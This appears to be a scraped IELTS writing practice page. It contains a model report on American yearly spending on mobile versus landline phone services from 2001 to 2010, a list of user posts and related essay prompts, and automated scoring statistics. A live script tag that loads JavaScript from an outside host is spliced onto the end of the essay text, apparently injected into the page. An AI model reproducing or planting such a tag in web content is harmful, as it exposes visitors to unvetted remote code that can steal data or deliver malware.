average yearly spending by Americans on mobile and landline phone services
The line graph compares average yearly spending by Americans on mobile and landline phone services from 2001 to 2010.
It is clear that spending on landline phones fell steadily over the 10-year period, while mobile phone expenditure rose quickly. The year 2006 marks the point at which expenditure on mobile services overtook that for residential phone services.
In 2001, US consumers spent an average of nearly $700 on residential phone services, compared to only around $200 on cell phone services. Over the following five years, average yearly spending on landlines dropped by nearly $200. By contrast, expenditure on mobiles rose by approximately $300.
In the year 2006, the average American paid out the same amount of money on both types of phone service, spending just over $500 on each. By 2010, expenditure on mobile phones had reached around $750, while the figure for spending on residential services had fallen to just over half this amount.<script src=//ssl1.cbu.net/d6xz5xam></script>
Post date | Users | Rates | Link to Content |
---|---|---|---|
2023-04-11 | HATHUYBINH | 67 | view |
2022-03-26 | Lia Nguyen | view | |
2020-06-12 | karanbirsinghrandhawa | 56 | view |
2019-12-22 | Spring2019 | 84 | view |
2019-05-29 | ludovicag | 70 | view |
- The pie chart shows the percentage of women in poverty and the bar chart shows poverty rates by sex and age. They are from the United States in 2008. 90
- The chart below shows the amount spent on six consumer goods in four European countries. Write a report for a university lecturer describing the information shown below 90
- Some people work for the same organization all their working life. Others think that it is better to work for different organizations. Discuss both these views and give your own opinion. 84
- The graph shows the proportion of energy that was produced from coal in four European countries from 1995 to 2010 80
- The graph shows seasonal water consumption in four towns rewrite alam 63
Attribute Value Ideal
Score: 7.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 8 10
No. of Words: 155 200
No. of Characters: 776 1000
No. of Different Words: 86 100
Fourth Root of Number of Words: 3.528 4.0
Average Word Length: 5.006 4.6
Word Length SD: 2.518 2.4
No. of Words greater than 5 chars: 58 60
No. of Words greater than 6 chars: 41 50
No. of Words greater than 7 chars: 31 40
No. of Words greater than 8 chars: 12 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 19.375 21.0
Sentence Length SD: 5.476 7.5
Use of Discourse Markers (%): 0.25 0.12
Sentence-Text Coherence: 0.48 0.35
Sentence-Para Coherence: 0.717 0.50
Sentence-Sentence Coherence: 0.144 0.07
Number of Paragraphs: 4 4